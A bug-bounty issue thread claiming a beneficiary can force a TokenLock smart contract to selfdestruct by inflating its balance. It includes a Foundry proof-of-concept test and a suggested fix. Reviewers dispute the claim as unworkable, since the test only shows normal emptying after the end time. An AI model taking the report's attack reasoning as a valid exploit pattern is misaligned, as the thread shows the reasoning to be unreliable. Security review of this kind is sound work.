A malicious beneficiary can destroy the TokenLock contract unexpectedly with inflating the contracts balance

[hats-bug-reporter[bot]]

Github username: -- Submission hash (on-chain): 0x73f532fc256eb3c3a4764339bb847183b8d57b3491b9a3ab6c4cc3cf83350096 Severity: high

Description: Description\ TokenLock contract can be destroyed in an desirable way via a malicious beneficiary using a flashloan based attack.

Attack Scenario\ The function withdrawSurplus() is intented for a beneficiary to withdraw the surplus amount. This contract is designed in a way that lets the mentioned beneficiary to call the selfdestruct opcode via this function:

    function trySelfDestruct() private {
        if (currentTime() > endTime && currentBalance() == 0) {
            selfdestruct(payable(msg.sender));
        }
    }

If the currentBalance() becomes zero, then the beneficiary is able to destroy the contract.

The function currentBalance() is:

    function currentBalance() public override view returns (uint256) {
        return token.balanceOf(address(this));
    }

Also, there is not any protection for flashloan-based attacks in the contract. Thus, a malicious beneficiary can transfer a large amount of tokens to inflate the surplus amount in such a way that the currentBalance() becomes zero. Afterthat, the caller is able to destroy the contract although is not intended to be destroyed in that time and situation.

Attachments

1. Proof of Concept (PoC) File

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "../contracts/tokenlock/HATTokenLock.sol";
import {Test, console2} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

contract HATTokenTest is Test{

    HATTokenLock public hatLock;
    HATToken public hatToken;
    address public owner;
    address public beneficiary;

    function setUp() public {

        owner = vm.addr(1);
        beneficiary = vm.addr(2);

        vm.startPrank(owner);

        hatToken = new HATToken(owner);
        hatToken.setTransferable();
        hatLock = new HATTokenLock();

        hatLock.initialize(
            owner,
            beneficiary,
            hatToken,
            10 ether,
            block.timestamp,
            1000,
            5,
            0,
            0,
            true,
            false
        );

        vm.stopPrank();
    }

    function test_flashLoanAttack() public {

        vm.warp(block.timestamp + 1200);
        deal(address(hatToken), address(hatLock), 20 ether);
        deal(address(hatToken), beneficiary, 20 ether);

        vm.startPrank(beneficiary);

        uint balanceBefore = hatLock.currentBalance();
        console.log("Current balance before hack is    ", balanceBefore);
        uint benefBalanceBefore = hatToken.balanceOf(beneficiary);
        console.log("Beneficiary balance before hack is", benefBalanceBefore);

        hatToken.approve(beneficiary, type(uint256).max);
        hatToken.approve(address(this), type(uint256).max);
        hatToken.transferFrom(beneficiary, address(hatLock), 20 ether);
        hatLock.release();
        hatLock.withdrawSurplus(30 ether);

        uint balanceAfter = hatLock.currentBalance();
        console.log("Current balance after hack is     ", balanceAfter);
        uint benefBalanceAfter = hatToken.balanceOf(beneficiary);
        console.log("Beneficiary balance after hack is ", benefBalanceAfter);

        vm.stopPrank();
        console.log("Selfdestruct is successful!");

    }
}

2. Revised Code File (Optional)

   
   +    modifier checkUserBlock() {
       require(
           userInfo[msg.sender].lastBlockUpdate < block.number,
           "User already called release or withdraw this block"
       );
       userInfo[msg.sender].lastBlockUpdate = block.number;
       _;
   }

• function withdrawSurplus(uint256 _amount) external override checkUserBlock onlyBeneficiary { if (_amount == 0) revert AmountCannotBeZero(); if (surplusAmount() < _amount) revert AmountRequestedBiggerThanSurplus();

  token.safeTransfer(beneficiary, _amount);
  
  emit TokensWithdrawn(beneficiary, _amount);
  
  trySelfDestruct();

  }

• function release() external override checkUserBlock onlyBeneficiary { uint256 amountToRelease = releasableAmount(); if (amountToRelease == 0) revert NoAmountAvailableToRelease();

  releasedAmount += amountToRelease;
  
  token.safeTransfer(beneficiary, amountToRelease);
  
  emit TokensReleased(beneficiary, amountToRelease);
  
  trySelfDestruct();

  }

**Files:**
  - Test.t.sol (https://hats-backend-prod.herokuapp.com/v1/files/QmNqmFBbrEAeshddzWcChjoXXbEuFp2NBW5ozapBCKTvvq)

[bahurum]

I quote from the report:

Thus, a malicious beneficiary can transfer a large amount of tokens to inflate the surplus amount in such a way that the currentBalance() becomes zero

This does not seem possible. Can you elaborate on this?

In the test release() is called after endTime so it is normal that the contract is empty afterwards.

[MatinR1]

@bahurum thank you for the comment, I just wanted to illustrate that by manipulating the balance, the beneficiary can destroy the contract

[jellegerbrandy]

I just wanted to illustrate that by manipulating the balance, the beneficiary can destroy the contract

It is not clear to me how that would work. The balance will not become 0 by sending tokens to the contract..